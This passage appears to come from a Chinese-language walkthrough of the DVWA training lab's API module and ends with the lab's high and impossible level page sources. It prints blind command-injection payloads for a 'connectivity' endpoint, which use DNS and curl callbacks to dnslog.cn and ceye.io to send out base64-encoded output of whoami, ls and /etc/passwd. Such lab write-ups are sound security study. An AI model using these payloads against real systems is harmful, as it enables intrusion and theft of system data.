而提交的JSON数据则是required下的words参数,类型为字符串(string),例如{"words":"123"}image-20260413140403609.pngimage-20260413140711186.png

image-20260413140200900.png

不过此路径经过测试,没什么问题

测试另一个路径image-20260413145156010.png

使用burp也可以,差不多

connectivity路径

DNS外带
{"target":"$(whoami).w70ztr.dnslog.cn"}
{"target":"`whoami`.0eu2al.ceye.io"}

image-20260413152323678.png

image-20260413152407753.png

如果外带结果很长,可能就不行了,所以分批次外带,同时外带结果不能包含空格,那就将其转为base64

id|base64|cut -c 1-40

image-20260413215133821.png

image-20260413215212967.png

image-20260413215259942.png

http外带
{"target":"|curl http://0eu2al.ceye.io?cmd=$(ls -la|base64 -w 0)"}

image-20260413220716731.png

image-20260413220842415.png

{"target":"|curl 0eu2al.ceye.io/`cat \/etc\/passwd|base64 -w 0`"}
{"target":"|curl 0eu2al.ceye.io/$(cat \/etc\/passwd|base64 -w 0)"}
{"target":"|curl $(whoami).0eu2al.ceye.io"}
{"target":"|curl `whoami`.0eu2al.ceye.io"}

image-20260413225222897.png

image-20260413225240255.png

可以推断,可能这是一个类似ping功能的命令,target则是其目标,所以"|"可以起到很好的分隔作用,以便执行之后的命令,但是没有明确回显,所以需要外带,跟前面的命令注入相似

status、ping路径倒是没什么用,用的是GET方法,也不能构造什么payload,到这里health部分的功能已经测试完毕

high.php

<?php

$message = "";

echo "
    <p>
        Here is the <a href='openapi.yml'>OpenAPI</a> document, have a look the health functions and see if you can find one that has a vulnerability.
    </p>
    <p>
        Note, this file assumes you are running DVWA out of the document root, if you have installed it into a subdirectory, such as DVWA, then you will need to update it. Look through the file for the paths, e.g.<br><br>
        <i>/vulnerabilities/api/v2/health/echo</i><br><br>
        and prepend your directory, so if you are in the DVWA directory you would change it to<br><br>
        <i>/DVWA/vulnerabilities/api/v2/health/echo</i>
    </p>
    <p>
        You might be able to work out how to call the individual functions by hand, but it would be a lot easier to import it into an application such as <a href='https://swagger.io/tools/swagger-ui/'>Swagger UI</a>, <a href='https://portswigger.net/bappstore/6bf7574b632847faaaa4eb5e42f1757c'>Burp</a>, <a href='https://www.zaproxy.org/docs/desktop/addons/openapi-support/'>ZAP</a>, or <a href='https://www.postman.com/'>Postman</a> and let the tool do the hard work of setting the requests up for you.
    </p>
";

?>

impossible

impossible.php

<?php

$message = "";

echo "
    <p>
        Rather than try to develop a perfect API, there is a different type of challenge for this level.
    </p>
    <p>
        The order system uses <a href='https://oauth.net/2/'>OAuth 2.0</a> for authentication. Being able to automate using this in your tools will greatly help with efficiency, removing the need to manually login and copy access tokens around. Use this level to practice setting up OAuth 2.0 in your testing tool of choice, for me this is <a href='https://www.postman.com/'>Postman</a> which is then proxied through <a href='https://portswigger.net/burp'>Burp</a>, but you can pick whatever tools are most appropriate for your testing environment.
    </p>
    <p>
        Here are some guides that might help:
</p>
<ul>
<li><a href='https://learning.postman.com/docs/sending-requests/authorization/oauth-20/'>Authenticate with OAuth 2.0 authentication in Postman</a></li>
<li><a href='https://blog.postman.com/what-is-oauth-2-0/'>What is OAuth 2.0?</a></li>
</ul>

";

?>

结语

DVWA靶场之旅到这里就结束了,但路仍在脚下,向前走,也可回头看